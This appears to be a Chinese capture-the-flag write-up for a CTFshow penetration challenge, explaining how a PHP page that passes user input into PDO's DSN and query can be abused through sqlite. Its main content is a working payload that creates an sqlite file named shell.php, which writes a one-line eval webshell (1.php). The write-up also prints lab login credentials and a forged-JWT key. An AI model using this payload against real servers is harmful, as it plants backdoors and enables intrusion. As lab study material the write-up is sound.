[CTFshow]第三章:跳岛战术¶
题目地址:https://ctf.show/challenges#%E8%B7%B3%E5%B2%9B%E6%88%98%E6%9C%AF-4526
这是 CTFshow 2025 元旦渗透赛的题目,从第三章开始,是因为前两章一半是非 web 专业,一半是我没熟悉,纯照着 wp 抄。因此我从第三章开始记录 wp.
前置环境准备¶
首先需要过一下前两章的环境。我们需要访问 https://task.ctfer.com/, 输入用户名 (hsinchug_wp1) 和密码 (Q.4Vyj8VCiedX1KYU5g05), 然后进入任务平台。我们需要通过 jwt 篡改登陆 dylan 的用户,根据爆破获得的 key (4a4f7d6e8b5e3a0c7f) , 篡改 jwt 登陆 dylan。之后就可以看到任务平台上进行本题的环境了。
题目分析¶
在 Download Task File 这个栏目里面,我们在之前扫描到了内网地址,我这里地址是 http://172.2.89.5
。 先注意直接访问获得的 index.php
<!DOCTYPE html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>
<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>
<html>
可以看到一共有四个参数,username
, password
, dsn
, query
,通过查阅资料可以得知,这些参数是 php 中 pdo 模块用于连接数据库和执行查询所用的参数。其中 dsn 就类似于 url, 用于指定数据库的类型和位置。下面是一个 pdo 的测试示例代码:
<?php
// $dsn = "mysql:host=localhost;dbname=test";
$dsn = "sqlite:test.sqlite";
$username = "root";
$password = "123123";
$query = "SELECT * FROM users";
$pdo = new PDO($dsn, $username, $password);
// $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
//
$stmt = $pdo->query($query);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($result as $row) {
echo "id: " . $row['id'] . " name: " . $row['name'] ;
}
注意到,如果这个 dsn 以 mysql
开头,指定 host
和 dbname
,就可以连接到 mysql 数据库了。但是本题提示可以考虑 sqlite
,这就涉及到一个知识:sqlite 数据库是基于一个文件的,而且这个文件的文件名是可以自定义的。也就是说,我们可以直接写马到这个数据库,然后这个木马就会以一部分明文出现在文件里。
我们以一个自定义的 sqlite 试试看:
下面是产生的 test1.php
“数据库”:
然后就是执行这个 test1.php
文件产生的结果了。
所以根据这个原理,我们就可以写出我们的 payload 了。(基于官方的 payload)
%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");
详细分析一下,本质是这样:
username=aaa
password=bbb
dsn=sqlite:shell.php
query=create table aaa(name TEXT DEFAULT "<?php file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");
它是套了两层,先创建一层可以写入一句话木马的文件 shell.php
,访问之后就会产生一个木马文件 1.php
。
注意不要写成 POST 类型的一句话木马,因为我们这里只能使用 GET 类型的参数。
文章热度:0次阅读